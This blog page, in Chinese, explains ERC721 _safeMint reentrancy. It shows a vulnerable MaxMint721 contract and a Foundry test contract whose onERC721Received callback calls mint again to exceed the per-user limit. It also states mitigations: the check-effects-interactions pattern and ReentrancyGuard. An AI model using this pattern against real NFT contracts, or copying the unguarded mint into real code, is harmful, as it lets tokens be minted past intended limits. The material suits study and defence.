当前位置：首页 > news >正文

区块链安全常见的攻击分析——Unprotected callback - ERC721 SafeMint reentrancy【8】

news 来源：原创 2025/7/19 18:50:28

区块链安全常见的攻击分析——Unprotected callback - ERC721 SafeMint reentrancy【8】

- 1.1 漏洞分析
- 1.2 漏洞合约
- 1.3 攻击分析
- 1.4 攻击合约

重点：MaxMint721 漏洞合约的 mint 函数调用了 ERC721 合约中的 _checkOnERC721Received 函数，触发 to 地址中实现 IERC721Receiver 接口的 onERC721Received 函数。to 地址是自己传入，因此可以再次调用 mint 函数，从而实现重入攻击。

1.1 漏洞分析

MaxMint721 漏洞合约的 mint 函数调用了 ERC721 合约中的 _safeMint 函数
2. 而 _safeMint 会进一步调用 _checkOnERC721Received 函数，最终触发 to 地址中实现 IERC721Receiver 接口的 onERC721Received 函数，而to地址是可以传入的。
在 onERC721Received 中，可以再次调用 mint 函数，从而实现重入攻击。

1.2 漏洞合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;import "forge-std/Test.sol";
// import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";import "../../lib/openzeppelin-contracts/contracts/token/ERC721/extensions/ERC721Enumerable.sol";/*
名称：未保护的回调 - ERC721 SafeMint 重入漏洞 Unprotected callback - ERC721 SafeMint reentrancy描述：
ContractTest 合约利用回调功能绕过了 MaxMint721 合约设置的最大铸造限制。
通过触发 onERC721Received 函数，该函数内部再次调用了 mint 函数。
因此，尽管 MaxMint721 尝试限制用户可以铸造的最大代币数量（MAX_PER_USER），
但 ContractTest 合约仍然成功铸造了超过限制的代币数量。场景：
本练习展示了一个通过回调函数铸造更多 NFT 的合约漏洞。缓解措施：
遵循检查-效果-交互模式（check-effect-interaction），并使用 OpenZeppelin Reentrancy Guard。参考资料：
https://blocksecteam.medium.com/when-safemint-becomes-unsafe-lessons-from-the-hypebears-security-incident-2965209bda2a
https://www.paradigm.xyz/2021/08/the-dangers-of-surprising-code*/contract MaxMint721 is ERC721Enumerable {uint256 public MAX_PER_USER = 10;constructor() ERC721("ERC721", "ERC721") {}function mint(uint256 amount) external {require(balanceOf(msg.sender) + amount <= MAX_PER_USER,"exceed max per user");for (uint256 i = 0; i < amount; i++) {uint256 mintIndex = totalSupply();_safeMint(msg.sender, mintIndex);}}
}

1.3 攻击分析

在攻击合约中重写 onERC721Received 函数，并在函数内调用 MaxMint721.mint 函数。

    function onERC721Received(address operator,address from,uint256 tokenId,bytes calldata data) external returns (bytes4) {console.log("Unprotected-callback_Attack-onERC721Received()-complete:",i);// 只有第一次调用onERC721Received函数的时候触发mint函数，不然会无限循环if (!complete) {complete = true;MaxMint721Contract.mint(9);console.log("Called with :", 9);console.log("in complete:", complete);}return this.onERC721Received.selector;}

将攻击合约地址作为 to 参数传入 ERC721 的 _checkOnERC721Received 函数。
由于 MaxMint721.mint 会调用 _checkOnERC721Received，从而触发攻击合约的 onERC721Received 函数，形成重入攻击。

 function mint(uint256 amount) {_safeMint(msg.sender, mintIndex);}function _safeMint(address to, uint256 tokenId) internal virtual {_safeMint(to, tokenId, "");}function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {require(_checkOnERC721Received(address(0), to, tokenId, data));}function _checkOnERC721Received( ) {IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) }function onERC721Received() {MaxMint721Contract.mint(9);}

输出结果
整个流程如下

1.4 攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;import "forge-std/Test.sol";
import "./Unprotected-callback.sol";contract ContractTest is Test {MaxMint721 MaxMint721Contract;address Koko;address Aquarius;bool complete;uint256 i;function setUp() public {MaxMint721Contract = new MaxMint721();// Koko = vm.addr(1);// Aquarius = vm.addr(2);// vm.deal(address(Koko), 1 ether);// vm.deal(address(Aquarius), 1 ether);i = 0;console.log("Unprotected-callback_Attack-setUp()-complete:", i);}function testUnprotectedcallback() public {console.log("Unprotected-callback_Attack-testUnprotectedcallback()-address(this):",address(this));uint256 balance;balance = MaxMint721Contract.balanceOf(address(this));console.log("11-Unprotected-callback_Attack-testUnprotectedcallback()-balance:",balance);MaxMint721Contract.mint(10);balance = MaxMint721Contract.balanceOf(address(this));console.log("22-Unprotected-callback_Attack-testUnprotectedcallback()-balance:",balance);}function onERC721Received(address operator,address from,uint256 tokenId,bytes calldata data) external returns (bytes4) {// 只有第一次调用onERC721Received函数的时候触发mint函数，不然会无限循环if (!complete) {complete = true;MaxMint721Contract.mint(9);console.log("Called with :", 9);console.log("in complete:", complete);}return this.onERC721Received.selector;}
}

区块链安全常见的攻击分析——Unprotected callback - ERC721 SafeMint reentrancy【8】

区块链安全常见的攻击分析——Unprotected callback - ERC721 SafeMint reentrancy【8】 1.1 漏洞分析1.2 漏洞合约1.3 攻击分析1.4 攻击合约重点：MaxMint721 漏洞合约的 mint 函数调用了 ERC721 合约中的 _checkOnERC721Received 函数，触发 to 地址中实…...

编程日记 2025/7/19 18:50:28

Linux中sed命令的使用技巧

一、sed语法介绍 sed命令主要用于文本内容的编辑，默认只处理模式空间，不处理原数据。命令格式： sed [option] command filename示例：删除空白行 sed ‘/^\s*$/d’ filename option 参数： -n：只有经过sed…...

编程日记 2025/7/17 17:20:07

小米路由器开启SSH，配置阿里云ddns，开启外网访问SSH和WEB管理界面

文章目录前言一、开启SSH二、配置阿里云ddns1.准备工作2.创建ddns脚本3.添加定时任务三、开启外网访问SSH和WEB管理界面1、解除WEB管理页面访问限制2.手动添加防火墙端口转发规则，开启外网访问WEB管理和SSH 前言例如：随着人工智能的不断发展&#xf…...

编程日记 2025/7/15 2:26:28

Flink源码解析之：如何根据JobGraph生成ExecutionGraph

Flink源码解析之：如何根据JobGraph生成ExecutionGraph 在上一篇Flink源码解析中，我们介绍了Flink如何根据StreamGraph生成JobGraph的流程，并着重分析了其算子链的合并过程和JobGraph的构造流程。对于StreamGraph和JobGraph的生成来说&…...

编程日记 2025/7/18 16:43:14

活动预告 |【Part2】Microsoft 安全在线技术公开课：安全性、合规性和身份基础知识

课程介绍通过参加“Microsoft 安全在线技术公开课：安全性、合规性和身份基础知识”活动提升你的技能。在本次免费的介绍性活动中，你将获得所需的安全技能和培训，以创造影响力并利用机会推动职业发展。你将了解安全性、合规性和身份的基础知…...

编程日记 2025/7/16 21:22:56

网络基础入门到深入(2):网络协议-TCP/IP协议栈

目录一.TCP/IP协议栈的四层结构二.每一层的作用与协议 1.作用层作用： 常见协议: 示例: 2.传输层作用: 核心功能: 3.网络层作用: 核心功能: 常见协议: 示例: 4.数据链路层(物理层) 作用: 核心功能: 常见技术: 示例: 三.TCP/IP协议栈的分层…...

编程日记 2025/7/14 16:47:50

美畅物联丨视频上云网关获取视频流地址供第三方调用的方法

在视频监控与流媒体传输领域，视频流地址的获取与调用是极为关键的环节。视频上云网关作为一款高效且稳定的视频传输设备，为获取视频流地址提供了便捷途径，从而使外部系统或平台能够方便地进行调用。今天我们就来讨论一下如何在视频上云网关上…...

编程日记 2025/7/15 5:42:37

【Cesium】一、cesium简介

文章目录前言1.什么是Cesium？2.Cesium能做什么？3.Cesium的依赖性4.Cesium学习参考前言本人是前端，主要是开发web，使用技术栈Vue、Js。最近因工作需要开始学习使用Cesium，找到一位博主的文章很好，一边学…...

编程日记 2025/7/19 11:56:04

微服务架构介绍

微服务架构是一种现代化的软件架构风格，它将应用程序构建为一组小型、自治的服务，每个服务都运行在其独立的进程中，服务与服务之间通过轻量级通信机制（通常是HTTP/RESTful API）进行通信。 1. 服务（Service&…...

编程日记 2025/7/19 18:50:15

SOLID-开闭原则

单一职责原则：https://blog.csdn.net/dmk877/article/details/143447010 在前面我们学习了单一职责原则，今天来一起学习一下SOLID原则中的开闭原则(Open-Closed Principle, OCP) 通过本篇博客你将学到到以下内容 ①什么是开闭原则 ②如何实现开闭原则 ③…...

编程日记 2025/7/17 19:23:28

Mac 安装 Flutter 提示 A network error occurred while checking

错误信息 A network error occurred while checking "https://maven.google.com/": Operation timed out原因在中国大陆(由于访问 Google 服务器的限制导致超时),无法连接到 https://maven.google.com/ 解决方案需要使用镜像网站 #flutter 使用国内的镜像 export …...

编程日记 2025/7/10 16:36:12

Rocky Linux下安装meld

背景介绍： meld是一款Linux系统下的用于文件夹和文件的比对软件，非常常用； 故障现象： 输入安装命令后，sudo yum install meld，报错。 12-31 22:12:17 ~]$ sudo yum install meld Last metadata expirat…...

编程日记 2025/7/19 13:58:21

Sentinel 介绍与使用指南：构建高可用、可靠的微服务架构

在微服务架构中，服务间的依赖和调用非常复杂，这也带来了高并发、大流量等挑战。如何确保系统在高负载情况下仍能稳定运行，如何避免某个服务的故障影响整个系统的稳定性？Sentinel，作为一个轻量级的、专为分布式系统设计…...

编程日记 2025/7/16 15:29:07

异步请求在TypeScript网络爬虫中的应用

异步请求的重要性异步请求是现代网络应用中不可或缺的一部分，特别是在网络爬虫领域。它允许爬虫在等待网络响应的同时继续执行其他任务，从而提高效率和性能。在JavaScript和TypeScript中，异步请求可以通过多种方式实现，包括回调…...

编程日记 2025/7/15 7:52:12

智能商业分析 Quick BI

Quick BI 是阿里云提供的一款智能商业分析（BI）工具，旨在帮助企业快速获取业务洞察、优化决策过程、提升数据分析效率。通过强大的数据可视化和分析功能，Quick BI 能够帮助用户轻松连接多种数据源、创建多维度的报表和仪表盘&#…...

编程日记 2025/7/19 5:36:11

[算法] [leetcode-75] 颜色分类

75 颜色分类给定一个包含红色、白色和蓝色、共 n 个元素的数组 nums ，原地对它们进行排序，使得相同颜色的元素相邻，并按照红色、白色、蓝色顺序排列。我们使用整数 0、 1 和 2 分别表示红色、白色和蓝色。必须在不使用库内置的 sort 函…...

编程日记 2025/7/15 0:08:26

抖音短视频矩阵系统源码开发技术解析

开发概览： 抖音短视频矩阵系统的构建基于一系列现代技术栈，主要包括VUE, Spring Boot和Django。本文档旨在为开发者提供关于短视频矩阵系统源代码的开发与部署指南。技术框架分析： 前端技术选型： 对于前端界面的构建&#xf…...

编程日记 2025/7/18 11:47:27

Linux（CentOS）安装 MySQL

CentOS版本：CentOS 7 三种安装方式： 一、通过 yum 安装，最简单，一键安装，全程无忧。二、通过 rpm 包安装，需具备基础概念及常规操作。三、通过 gz 包安装，需具备配置相关操作。 --------…...

编程日记 2025/7/13 9:23:12

头歌实训数据结构与算法-二叉树及其应用（第9关：二叉树的顺序存储及基本操作）

任务描述本关任务：以顺序结构存储二叉树，编写前序、中序、后序及层次顺序遍历二叉树的算法，并计算二叉树深度、所有结点总数。相关知识二叉树的定义二叉树的递归定义： 二叉树或者是一棵空树。或者是一棵由一个根结点和两…...

编程日记 2025/7/17 10:51:23

打印进度条

文章目录 1.Python语言实现(1)黑白色(2)彩色：蓝色 2.C语言实现(1)黑白颜色(2)彩色版：红绿色 1.Python语言实现 (1)黑白色 import sys import timedef progress_bar(percentage, width50):"""打印进度条:param percentage: 当前进度百分比…...

编程日记 2025/7/15 17:02:03

【LLM】Langflow 的简单使用

(PS：爆肝整理，请不要吝啬你的点赞和收藏。) 什么是 Langflow ？Langflow 是一种用于构建多智能体和RAG应用的可视化框架。它提供了个无需编码的 AI 生态系统，能够无缝集成各种常用工具和技术栈。Langflow 以 Python 为基础&#x…...

编程日记 2025/7/18 4:47:17

探索 DC-SDK：强大的 3D 地图开发框架

在现代 Web 开发中，地理信息系统（GIS）和 3D 地图可视化变得越来越重要。dc-sdk 是一个基于 Cesium 的开源 WebGL 地图开发框架，它提供了丰富的地图可视化功能和简单易用的 API，使开发者能够轻松地在 Web 应用中集成 3D…...

编程日记 2025/7/16 2:20:03

3.5mm耳机接口硬件连接

结构以最复杂的结构为例简单的结构无非就是没有MIC（麦克风）接口上图的5就是Detect的作用上面这两款产品都为3.5mm的音频插座，图一为连接4节的音频座，而且有两个开关，1接地，2接MIC，3接左声…...

编程日记 2025/7/18 20:52:47

nvidia_gpu_exporter 显卡监控

导入 grafana/dashboard.json https://github.com/utkuozdemir/nvidia_gpu_exporter/blob/master/grafana/dashboard.json参考 nvidia_gpu_exporter...

编程日记 2025/7/2 0:28:53

聊聊 Mongod 以及 MongoDB 常用命令

Mongod mongod 是 MongoDB 数据库服务器的核心守护进程，它负责启动并管理 MongoDB 数据库实例。简单来说，mongod 是 MongoDB 数据库服务器程序，它负责处理数据存储、数据请求、数据复制等后台服务。运行 mongod 是启动 MongoDB 数据库的第一…...

编程日记 2025/7/13 16:00:08

webrtc 源码阅读 make_ref_counted模板函数用法

目录 1. 模板参数解析 1.1 typename T 1.2 typename... Args 1.3 typename std::enable_if::value, T>::type* nullptr 2. scoped_refptr 3. new RefCountedObject(std::forward(args)...); 4. 综合说明 5.在webrtc中的用法 5.1 peerConnectionFactory对象的构建过…...

编程日记 2025/7/13 18:04:11

僵尸进程，孤儿进程、守护进程以及wait函数，waitpid函数

僵尸进程如果子进程退出，但是父进程没有调用 wait 或 waitpid 获取子进程的状态信息，那么子进程的进程描述符（task_struct）仍然保存在系统中，那么该子进程叫做僵尸进程 #include<iostream> #include<pthre…...

编程日记 2025/7/15 10:06:18

Kafka消息不丢失与重复消费问题解决方案总结

1. 生产者层面异步发送与回调处理异步发送方式：生产者一般使用异步方式发送消息，异步发送有消息和回调接口两个参数。在回调接口的重写方法中，可通过异常参数判断消息发送状态。若消息发送成功，异常参数为null；若发…...

编程日记 2025/7/18 10:31:24

Docker新手：在tencent云上实现Python服务打包到容器

1 使用docker的原因一致性和可移植性：Docker 容器可以在任何支持 Docker 的环境中运行，无论是开发者的笔记本电脑、测试服务器还是生产环境。这确保了应用在不同环境中的行为一致，减少了“在我的机器上可以运行”的问题。隔离性&#xff…...

编程日记 2025/7/19 18:18:14

什么是 Spring 的组件（Bean）

什么是 Spring 的组件（Bean）？ Spring 会自动创建、初始化、装配和销毁这些对象。Spring 使用 IoC（控制反转） 和 DI（依赖注入） 的理念，将应用程序的对象交给 Spring 容器统一管理&am…...

编程日记 2025/7/17 20:50:26

PawSQL性能巡检平台 (3) - 慢查询采集和优化

在数据库运维管理中，慢查询一直是影响系统性能的重要因素。本文将详细介绍PawSQL数据库性能巡检平台在慢查询管理和优化方面的功能特性，帮助数据库管理员更好地应对性能挑战。一、PawSQL巡检平台慢查询管理概述 PawSQL平台提供了全面的慢查询管理功能&…...

编程日记 2025/7/19 4:08:12

虚拟机Centos下安装Mysql完整过程（图文详解）

目录一. 准备工作 1. 设置虚拟机静态IP 2. 卸载Mysql 3. 给CentOS添加rpm源二. 安装MySQL 1. 安装mysql服务 2. 启动mysql服务 3. 开启MySQL开机自启动 4. 查看mysql服务状态 5. 查看mysql初始密码 6. 登录mysql ，修改密码 7. 允许外部访问MySQL数据库…...

编程日记 2025/7/17 7:09:46

微服务保护-sentinel

为什么要有微服务保护？ 微服务保护是为了避免微服务雪崩而出现的，每个微服务能处理的请求是有限的，如果一个微服务出现问题导致一个请求进入微服务的时间太久，就会导致大量去请求停滞在微服务内部，这样就会过分占用系统…...

编程日记 2025/7/18 18:58:55

Redis Java 集成到 Spring Boot

Hi~！这里是奋斗的明志，很荣幸您能阅读我的文章，诚请评论指点，欢迎欢迎 ~~ 🌱🌱个人主页：奋斗的明志 🌱🌱所属专栏：Redis 📚本系列文章为个人学习笔…...

编程日记 2025/7/15 4:20:40

RabbitMQ实现生产者消费者

一.启动MQ 注意管理员身份进入cmd才行,我这里是在本地安装的MQ,推荐使用虚拟机安装二.思路官方解释RabbitMQ结构: 自我理解RabbitMQ结构: 其实RabbitMQ的服务器就像邮局一样,我们的生产者和消费者对于这个服务器来说都是消费者,因为服务器都可以向两者发送消息环境准备 …...

编程日记 2025/7/14 14:09:07

stm32f103zet6 ds18b20

main.c // main.c #include "sys.h" #include "ds18b20.h"int main(void){ uart_init(9600);delay_init();while(DS18B20_Init()) //DS18B20初始化 {printf("error");delay_ms(200);}while(1){printf("%4.2f\r\n",Get_Temp());}}ds18…...

编程日记 2025/7/15 5:43:22

期权懂|期权入门知识：开通50ETF期权需要什么条件？

锦鲤三三每日分享期权知识，帮助期权新手及时有效地掌握即市趋势与新资讯！ 开通50ETF期权需要什么条件？ 一、基本资格要求 （1）年龄限制：投资者必须年满18周岁，具备完全民事行为能力。 &#…...

编程日记 2025/7/13 22:17:40

Linux day 1129

家人们今天继续学习Linux，ok话不多说一起去看看吧三.Linux常用命令 3.1 Linux命令体验 3.1.1 常用命令演示在这一部分中，我们主要介绍几个常用的命令，让大家快速感受以下 Linux 指令的操作方式。主要包含以下几个指令： ls命…...

编程日记 2025/7/14 20:51:40

智能家居体验大变革博联 AI 方案让智能不再繁琐

1. 全球AI技术发展背景及智能家居市场趋势人工智能（AI）技术的飞速发展正在推动全球各行业的数字化转型。国际电信联盟与德勤联合发布《人工智能向善影响》报告指出，全球94%的商界领袖认为，人工智能技术对于其企业在未来5年内的发…...

编程日记 2025/7/15 22:48:30

git使用

git初始化 git init 指定要添加的文件 git add [文件名1] [文件名2] [文件名3] // 添加指定文件 git add . // 添加当前目录所有文件将文件提交到本地仓库 git commit -m "备注信息" 添加远程仓库 git remote add origin [远程仓库地址] git remote -v // …...

编程日记 2025/7/14 14:02:29

嵌入科技的温情

嵌入式世界，是一个微小却无比精妙的宇宙。晶体管之间的脉动，仿佛是心跳的回响；代码中跳跃的逻辑，犹如人生中不可预知的转折。每一个嵌入式系统，都像是一个看不见的灵魂，将冰冷的机器唤醒，为生活…...

编程日记 2025/7/18 19:30:13

python利用selenium实现大麦网抢票

大麦网（damai.cn）是中国领先的现场娱乐票务平台，涵盖演唱会、音乐会、话剧、歌剧、体育赛事等多种门票销售。由于其平台上经常会有热门演出，抢票成为许多用户关注的焦点。然而，由于票务资源的有限性，以及大…...

编程日记 2025/7/15 23:11:22

PS等软件学习笔记

目录一、ps基础操作快捷键 1、快速打开图片 2、屏幕画布变大变小 3、移动画布 4、CTRL回车，快速完成更改 5、还原 6、创建画布，CTRLN 7、复制图层，CTRLJ 8、一段文字行间距调整 9、反向选择，CTRLSHIFTI 10、抠图二、…...

编程日记 2025/7/19 8:28:14

vue3学习笔记（9）-pinia、storeToRefs、getters

1.新的集中式状态（数据）管理库，redux vuex pinia 搭建 2.ref拆包如果在reactive里面定义ref，则打印c时，无需.value 他自动拆包，如果直接在外面定义的ref则需要.value,他没有拆包 3.pinia存储读取数据存…...

编程日记 2025/7/16 21:51:45

数据库基础知识---以MySQL为例

一、什么是MySQL 数据保存在不同的表中，而不是将所有数据放在一个大仓库内二、特点开源--免费下载跨平台--可以在多个操作系统进行运行性能好--可以出来大量数据简单--安装配置简单支持多种编程语言--可以与多种编程语言进行无缝集成三、分类 DDL--数据定义…...

编程日记 2025/7/15 6:00:21

013-spring的注解整合第三方框架

给spring的ioc容器中添加对象常用这3个方法...

编程日记 2025/7/14 13:56:36

使用ForceBindIP绑定应用到指定IP

前言使用ForceBindIP工具，用户可以轻松地将特定应用程序绑定到指定的IP地址，从而确保应用程序的网络连接通过指定的网络适配器进行。通过在命令提示符下运行ForceBindIP并指定IP地址和应用程序的完整路径，用户能够控制应用程序的网络流量&a…...

编程日记 2025/7/15 14:44:51

python-LeetCode-两数之和

1. 两数之和 - 力扣（LeetCode） class Solution:def twoSum(self, nums: List[int], target: int) -> List[int]:# 创建一个哈希表用于存储值和索引num_to_index {}for i, num in enumerate(nums):# 计算目标值需要的补数complement target - num# 如…...

编程日记 2025/7/16 13:40:37

项目开发实践——基于SpringBoot+Vue3实现的在线考试系统(四)

文章目录一、管理员角色功能实现1、添加教师功能实现1.1 页面设计1.2 前端功能实现1.3 后端功能实现1.4 效果展示2、教师管理功能实现2.1 页面设计2.2 前端功能实现2.3 后端功能实现2.3.1 后端查询接口实现2.3.2 后端编辑接口实现2.3.3 后端删除接口实现2.4 效果展示二、代码下…...

编程日记 2025/7/15 1:10:28

大语言模型的token和向量

现在大语言模型火了，像 ChatGPT 什么的，能回答问题、写文章，。但它们为啥这么聪明呢？这就和向量、Token 有关系。那怎么通过向量、Token来理解我们的问题呢。看完这篇文章就知道了 token Token 就像是语言里的小积木&#xff0c…...

编程日记 2025/7/18 22:40:02

区块链安全常见的攻击分析——Unprotected callback - ERC721 SafeMint reentrancy【8】

1.1 漏洞分析

1.2 漏洞合约

1.3 攻击分析

1.4 攻击合约

相关文章：